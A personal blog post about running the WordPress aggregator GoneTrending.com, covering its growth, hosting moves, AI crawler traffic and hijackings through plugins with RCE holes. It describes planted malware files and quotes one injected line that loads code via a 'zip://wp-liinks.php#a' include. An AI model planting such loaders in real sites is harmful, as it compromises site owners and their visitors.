GoneTrending.com went through various iterations, but in 2020 I decided to make it a fun little aggregator website that works on RSS feeds and posts them alongside the original links.

Over the 6 years it has grown from a few posts to over 106 thousand posts which equals a wp_posts table of 1.2GB. If you were to cache all the pages into static files it would amount to something around ~50GB.

As the website grew, so did the traffic. While I had noticed that a huge part of the traffic were SEO backlinks bots that try to make comments to make a backlink by using their referring URI, a lot of them were still people, and it was always fun to see a ”real” person read and leave a comment.

At some point the bot problem and post sizes became a problem so the site needed to migrate to a different hosting, since the shared CPanel hostings have memory limits and WordPress is very resource intensive if the database gets big.

At some point Cloudflare was also added to allow for more caching, and the site actually gets a fair amount of traffic whilst not being monetized(and not really able to be monetized with Adsense anyway)

And overall, I really like showing this website, that it’s alive and doing stuff, however it has been hijacked a few times due to plugins with RCE vulnerabilities. The whole thing was quite clever.

First of all there was a file named fewafwa.gif that actually contains code to try to exploit woocommerce and find an opening. It just lives there, hoping you won’t find it.

At some point a file named wp-liinks.php is added that contains obfuscated code where to redirect a link.

Alongside this .php files like index.php and others get infected and start containing obfuscated code to exploit your FTP conections and any panels you might have

Specifically, in one of the sites there was a code block like this that infected malware through malware injection with zip://.

* @var bool

 */$wss ='zip://wp-liinks.php#a';include($wss);

define( 'WP_USE_THEMES', true );

It’s crazy to actually see something you own get infected in action and it is a great way to learn.

The last issue however has started since the introduction of LLMs to the public. Over the last year I have seen a massive increase of AI search bots, crawlers ands scrapers that quite frankly take up most of the traffic I think. This is especially a problem because the site has over 106k posts, with 54 sitemaps. A juicy stake of a site for LLMs.

The amount of bots and the variety is crazy, even if you turn the Cloudflare setting for blocking AI bots, it doesn’t catch them all and you need custom page rules for blocking. SEMRUSH, OpenAI search bot, MetaCrawler, BingBot, DataForSeoBot, Sentibot and a few dozen others. All of these bombard your site daily and completely ignore robots.txt settings.

While I would want to give a graph of the exact amount I sadly cannot find a good metric on what to base it from right now.

Overall, this site has been a nice addition to my life and a good learning experience. The site will probably not get any new updates for a while now and most of the pages should move to a static version to ease load on the database and server.

Thank you for visiting GoneTrending.com and maybe, just maybe, make one on your own! You never know what new things you will learn from it

GoneTrending.com